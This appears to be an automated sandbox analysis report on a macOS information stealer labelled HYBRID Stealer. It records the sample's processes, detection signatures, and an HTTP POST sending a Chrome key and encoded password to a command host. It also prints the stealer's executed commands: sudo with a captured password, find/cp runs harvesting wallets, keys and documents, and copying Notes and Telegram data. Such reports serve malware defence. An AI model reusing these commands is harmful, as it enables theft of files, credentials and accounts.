syshelper_38577473 New Fork (PID: 1851, Parent: 1688)

syshelper_38577473 New Fork (PID: 1852, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c sw_vers -productVersion

bash New Fork (PID: 1695, Parent: 1681)

bash New Fork (PID: 1696, Parent: 1695)

bash New Fork (PID: 1697, Parent: 1696)

date (MD5: 319ba0f72590c89022cbad7702be2b0a) Arguments: /bin/date +%s

bash New Fork (PID: 1701, Parent: 1681)

bash New Fork (PID: 1702, Parent: 1701)

touch (MD5: 1fb4516c9c1daed0ca778989c76e5254) Arguments: /usr/bin/touch /Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.historynew

bash New Fork (PID: 1703, Parent: 1681)

bash New Fork (PID: 1704, Parent: 1703)

cp (MD5: 0f2d1e28fd61d9e19009568104424624) Arguments: /bin/cp /Users/bernardo/.bash_history /Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.history

bash New Fork (PID: 1705, Parent: 1681)

bash New Fork (PID: 1706, Parent: 1705)

cat (MD5: 618a09af83bc79d22174f44d78f4fc72) Arguments: /bin/cat /Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.historynew

bash New Fork (PID: 1712, Parent: 1681)

bash New Fork (PID: 1713, Parent: 1712)

cat (MD5: 618a09af83bc79d22174f44d78f4fc72) Arguments: /bin/cat /Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.historynew

bash New Fork (PID: 1714, Parent: 1681)

bash New Fork (PID: 1715, Parent: 1714)

bash New Fork (PID: 1716, Parent: 1715)

find (MD5: c49e29c6a3b91cbb4e61922b96952478) Arguments: /usr/bin/find /Users/bernardo/.bash_sessions/_expiration_check_timestamp -mtime -1d

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
E9CX86U4Q7	JoeSecurity_HYBRIDStealer	Yara detected HYBRID Stealer	Joe Security

Suricata Signatures

ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2026-08-13T15:56:24.863312+0200	2022112	1	Exploit Kit Activity Detected	192.168.0.58	49167	138.124.70.84	443	TCP
2026-08-13T15:57:24.994575+0200	2022112	1	Exploit Kit Activity Detected	192.168.0.58	49168	138.124.70.84	443	TCP

HTTP traffic detected: POST /send/ HTTP/1.1x-api-key: 86770e8759abf2dad9ae85f5e11a25e9x-chrome-key: P4JesMMS7yigyt7lZ+MGtA==x-system-password: MTIzNDU2content-length: 1341888accept: */*host: debug.allllowef.space

Source: syshelper_38577473, 00001688.00000063.3.0000000102a7c000.0000000102a84000.r--.sdmp, syshelper_38577473, 00001688.00000063.3.000000011a1a0000.000000011a35c000.r--.sdmp	String found in binary or memory: http://crl.apple.com/codesigning.crl0
Source: syshelper_38577473, 00001688.00000063.3.00000001069e8000.00000001071dc000.r--.sdmp	String found in binary or memory: http://www.apple.com/Copyright
Source: syshelper_38577473, 00001688.00000063.3.0000000102a7c000.0000000102a84000.r--.sdmp, syshelper_38577473, 00001688.00000063.3.000000011a1a0000.000000011a35c000.r--.sdmp, E9CX86U4Q7, login.keychain-db.63.dr, starter.63.dr	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: syshelper_38577473, 00001688.00000063.3.0000000102a7c000.0000000102a84000.r--.sdmp, syshelper_38577473, 00001688.00000063.3.000000011a1a0000.000000011a35c000.r--.sdmp	String found in binary or memory: http://www.apple.com/appleca/root.crl0
Source: E9CX86U4Q7	String found in binary or memory: https://AcceptedConflictHTTP/0.9HTTP/2.0HTTP/3.0ShutdownTooLargeInternalHTTP/1.0HTTP/1.1NO_PROXYno_p
Source: Web Data.63.dr	String found in binary or memory: https://ac.ecosia.org?q=
Source: Web Data.63.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Web Data.63.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Web Data.63.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: .chost.63.dr	String found in binary or memory: https://debug.allllowef.space/api/bot/actions
Source: E9CX86U4Q7	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-supportoffsettoo_many_continuationsnot
Source: Web Data.63.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Web Data.63.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtabv10E
Source: Web Data.63.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Web Data.63.dr	String found in binary or memory: https://gemini.google.com/app?q=
Source: login.keychain-db.63.dr	String found in binary or memory: https://login.microsoftonline.com/consumers
Source: syshelper_38577473, 00001688.00000063.3.0000000102a7c000.0000000102a84000.r--.sdmp, syshelper_38577473, 00001688.00000063.3.000000011a1a0000.000000011a35c000.r--.sdmp	String found in binary or memory: https://www.apple.com/appleca/0
Source: Web Data.63.dr	String found in binary or memory: https://www.ecosia.org/newtab/v10
Source: Web Data.63.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: Web Data.63.dr	String found in binary or memory: https://www.gstatic.com/images/branding/searchlogo/ico/favicon.icohttps://www.google.com/search?sour

Source: unknown	Network traffic detected: HTTP traffic on port 56527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 49162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.0.58:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.0.58:49162 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.0.58:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.124.70.84:443 -> 192.168.0.58:49164 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.124.70.84:443 -> 192.168.0.58:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.124.70.84:443 -> 192.168.0.58:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.124.70.84:443 -> 192.168.0.58:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.124.70.84:443 -> 192.168.0.58:49168 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Mutes the volume using AppleScript likely to hide suspicious activity from the user

Source: /bin/bash (PID: 1742)

Mutes volume: osascript -e set volume with output muted

Jump to behavior

Source: /usr/bin/sudo (PID: 1826)	Find command executed: find /Users/bernardo/Desktop -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /usr/bin/sudo (PID: 1835)	Find command executed: find /Users/bernardo/Documents -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /usr/bin/sudo (PID: 1843)	Find command executed: find /Users/bernardo/Downloads -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.mac@0/66@5/0

Source: Web Data.63.dr	Binary or memory string: CREATE TABLE plus_addresses (profile_id VARCHAR PRIMARY KEY, facet VARCHAR, plus_address VARCHAR);
Source: Login Data For Account.63.dr, Login Data.63.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/.write_test	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /private/tmp/.ks_diag.txt	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.local/share/.stream/.chrome_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.local/share/.stream/.chromium_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.local/share/.stream/.brave_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.local/share/.stream/.opera_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.local/share/.stream/.vivaldi_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.local/share/.stream/.edge_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.local/share/.stream/.yandex_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.local/share/.stream/.arc_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.local/share/.stream/.coccoc_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.pwd	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/.ks_diag.txt	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.local/share/.stream/.bot_id	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.botid	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden File created: /Users/bernardo/.chost	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden Directory created: /Users/bernardo/.local	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden Directory created: /Users/bernardo/.local/share/.stream	Jump to behavior

Source: /private/tmp/syshelper_38577473 (PID: 1741)	Osascript command executed: osascript /tmp/N9XlzLZbJYFiad6a5ve5HYatU/tempAppleScript.scpt	Jump to behavior
Source: /bin/bash (PID: 1742)	Osascript command executed: osascript -e set volume with output muted	Jump to behavior
Source: /bin/bash (PID: 1775)	Osascript command executed: osascript -e set volume without output muted	Jump to behavior

Source: /private/tmp/syshelper_38577473 (PID: 1694)	Shell command executed: sh -c pgrep -f '/tmp/syshelper_38577473' \| grep -v 1688 \| head -1	Jump to behavior
Source: /bin/sh (PID: 1694)	Shell command executed: sh -c pgrep -f '/tmp/syshelper_38577473' \| grep -v 1688 \| head -1	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1711)	Shell command executed: sh -c whoami	Jump to behavior
Source: /bin/sh (PID: 1711)	Shell command executed: sh -c whoami	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1723)	Shell command executed: sh -c dscl /Local/Default -authonly 'bernardo' '123456'	Jump to behavior
Source: /bin/sh (PID: 1723)	Shell command executed: sh -c dscl /Local/Default -authonly 'bernardo' '123456'	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1732)	Shell command executed: sh -c sw_vers -productVersion	Jump to behavior
Source: /bin/sh (PID: 1732)	Shell command executed: sh -c sw_vers -productVersion	Jump to behavior
Source: /usr/bin/osascript (PID: 1742)	Shell command executed: sh -c osascript -e 'set volume with output muted'	Jump to behavior
Source: /bin/sh (PID: 1742)	Shell command executed: sh -c osascript -e 'set volume with output muted'	Jump to behavior
Source: /usr/bin/osascript (PID: 1744)	Shell command executed: sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/FileGrabber/'	Jump to behavior
Source: /bin/sh (PID: 1744)	Shell command executed: sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/FileGrabber/'	Jump to behavior
Source: /usr/bin/osascript (PID: 1745)	Shell command executed: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite'	Jump to behavior
Source: /bin/sh (PID: 1745)	Shell command executed: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite'	Jump to behavior
Source: /usr/bin/osascript (PID: 1747)	Shell command executed: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm'	Jump to behavior
Source: /bin/sh (PID: 1747)	Shell command executed: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm'	Jump to behavior
Source: /usr/bin/osascript (PID: 1749)	Shell command executed: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/sh (PID: 1749)	Shell command executed: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal'	Jump to behavior
Source: /usr/bin/osascript (PID: 1751)	Shell command executed: sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/Telegram/'	Jump to behavior
Source: /bin/sh (PID: 1751)	Shell command executed: sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/Telegram/'	Jump to behavior
Source: /usr/bin/osascript (PID: 1752)	Shell command executed: sh -c cp '/Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas' '/Users/bernardo/tempFolder-38577473/Telegram/'	Jump to behavior
Source: /bin/sh (PID: 1752)	Shell command executed: sh -c cp '/Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas' '/Users/bernardo/tempFolder-38577473/Telegram/'	Jump to behavior
Source: /usr/bin/osascript (PID: 1763)	Shell command executed: sh -c rm -f /tmp/safari_cookie_copy_error.txt /tmp/safari_cookies_via_cat	Jump to behavior
Source: /bin/sh (PID: 1763)	Shell command executed: sh -c rm -f /tmp/safari_cookie_copy_error.txt /tmp/safari_cookies_via_cat	Jump to behavior
Source: /usr/bin/osascript (PID: 1764)	Shell command executed: sh -c sw_vers -productVersion	Jump to behavior
Source: /bin/sh (PID: 1764)	Shell command executed: sh -c sw_vers -productVersion	Jump to behavior
Source: /usr/bin/osascript (PID: 1770)	Shell command executed: sh -c system_profiler SPHardwareDataType 2>/dev/null \| awk '/UUID/ { print $3 }'	Jump to behavior
Source: /bin/sh (PID: 1770)	Shell command executed: sh -c system_profiler SPHardwareDataType 2>/dev/null \| awk '/UUID/ { print $3 }'	Jump to behavior
Source: /usr/bin/osascript (PID: 1775)	Shell command executed: sh -c osascript -e 'set volume without output muted'	Jump to behavior
Source: /bin/sh (PID: 1775)	Shell command executed: sh -c osascript -e 'set volume without output muted'	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1780)	Shell command executed: sh -c mv '/Users/bernardo/tempFolder-38577473' '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber'	Jump to behavior
Source: /bin/sh (PID: 1780)	Shell command executed: sh -c mv '/Users/bernardo/tempFolder-38577473' '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber'	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1785)	Shell command executed: sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1785)	Shell command executed: sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2>/dev/null	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1795)	Shell command executed: sh -c ls -1 /Applications 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1795)	Shell command executed: sh -c ls -1 /Applications 2>/dev/null	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1801)	Shell command executed: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1801)	Shell command executed: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' 2>/dev/null	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1807)	Shell command executed: sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/sh (PID: 1807)	Shell command executed: sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1815)	Shell command executed: sh -c system_profiler SPHardwareDataType 2>/dev/null \| awk '/UUID/ { print $3 }'	Jump to behavior
Source: /bin/sh (PID: 1815)	Shell command executed: sh -c system_profiler SPHardwareDataType 2>/dev/null \| awk '/UUID/ { print $3 }'	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1823)	Shell command executed: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1823)	Shell command executed: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1831)	Shell command executed: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1831)	Shell command executed: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1840)	Shell command executed: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1840)	Shell command executed: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1852)	Shell command executed: sh -c sw_vers -productVersion	Jump to behavior
Source: /bin/sh (PID: 1852)	Shell command executed: sh -c sw_vers -productVersion	Jump to behavior

Source: /bin/bash (PID: 1698)	Grep executable: /usr/bin/pgrep -> pgrep -f /tmp/syshelper_38577473			Jump to behavior
Source: /bin/bash (PID: 1699)	Grep executable: /usr/bin/grep -> grep -v 1688			Jump to behavior

Source: /bin/bash (PID: 1744)	Mkdir executable: /bin/mkdir -> mkdir -p /Users/bernardo/tempFolder-38577473/FileGrabber/			Jump to behavior
Source: /bin/bash (PID: 1751)	Mkdir executable: /bin/mkdir -> mkdir -p /Users/bernardo/tempFolder-38577473/Telegram/			Jump to behavior

Source: /bin/bash (PID: 1698)

Pgrep executable: /usr/bin/pgrep -> pgrep -f /tmp/syshelper_38577473

Jump to behavior

Source: /bin/bash (PID: 1763)

Rm executable: /bin/rm -> rm -f /tmp/safari_cookie_copy_error.txt /tmp/safari_cookies_via_cat

Jump to behavior

Source: /private/tmp/syshelper_38577473 (PID: 1727)	Sudo executable: /usr/bin/sudo -> sudo -S -v	Jump to behavior
Source: /bin/bash (PID: 1809)	Sudo executable: /usr/bin/sudo -> sudo -S cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal	Jump to behavior
Source: /bin/bash (PID: 1825)	Sudo executable: /usr/bin/sudo -> sudo -S find /Users/bernardo/Desktop -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /bin/bash (PID: 1834)	Sudo executable: /usr/bin/sudo -> sudo -S find /Users/bernardo/Documents -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /bin/bash (PID: 1842)	Sudo executable: /usr/bin/sudo -> sudo -S find /Users/bernardo/Downloads -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior

Source: /bin/sh (PID: 1694)	Shell process: sh -c pgrep -f '/tmp/syshelper_38577473' \| grep -v 1688 \| head -1	Jump to behavior
Source: /bin/sh (PID: 1711)	Shell process: sh -c whoami	Jump to behavior
Source: /bin/sh (PID: 1723)	Shell process: sh -c dscl /Local/Default -authonly 'bernardo' '123456'	Jump to behavior
Source: /bin/sh (PID: 1732)	Shell process: sh -c sw_vers -productVersion	Jump to behavior
Source: /bin/sh (PID: 1742)	Shell process: sh -c osascript -e 'set volume with output muted'	Jump to behavior
Source: /bin/sh (PID: 1744)	Shell process: sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/FileGrabber/'	Jump to behavior
Source: /bin/sh (PID: 1745)	Shell process: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite'	Jump to behavior
Source: /bin/sh (PID: 1747)	Shell process: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm'	Jump to behavior
Source: /bin/sh (PID: 1749)	Shell process: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/sh (PID: 1751)	Shell process: sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/Telegram/'	Jump to behavior
Source: /bin/sh (PID: 1752)	Shell process: sh -c cp '/Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas' '/Users/bernardo/tempFolder-38577473/Telegram/'	Jump to behavior
Source: /bin/sh (PID: 1763)	Shell process: sh -c rm -f /tmp/safari_cookie_copy_error.txt /tmp/safari_cookies_via_cat	Jump to behavior
Source: /bin/sh (PID: 1764)	Shell process: sh -c sw_vers -productVersion	Jump to behavior
Source: /bin/sh (PID: 1770)	Shell process: sh -c system_profiler SPHardwareDataType 2>/dev/null \| awk '/UUID/ { print $3 }'	Jump to behavior
Source: /bin/sh (PID: 1775)	Shell process: sh -c osascript -e 'set volume without output muted'	Jump to behavior
Source: /bin/sh (PID: 1780)	Shell process: sh -c mv '/Users/bernardo/tempFolder-38577473' '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber'	Jump to behavior
Source: /bin/sh (PID: 1785)	Shell process: sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1795)	Shell process: sh -c ls -1 /Applications 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1801)	Shell process: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1807)	Shell process: sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/sh (PID: 1815)	Shell process: sh -c system_profiler SPHardwareDataType 2>/dev/null \| awk '/UUID/ { print $3 }'	Jump to behavior
Source: /bin/sh (PID: 1823)	Shell process: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
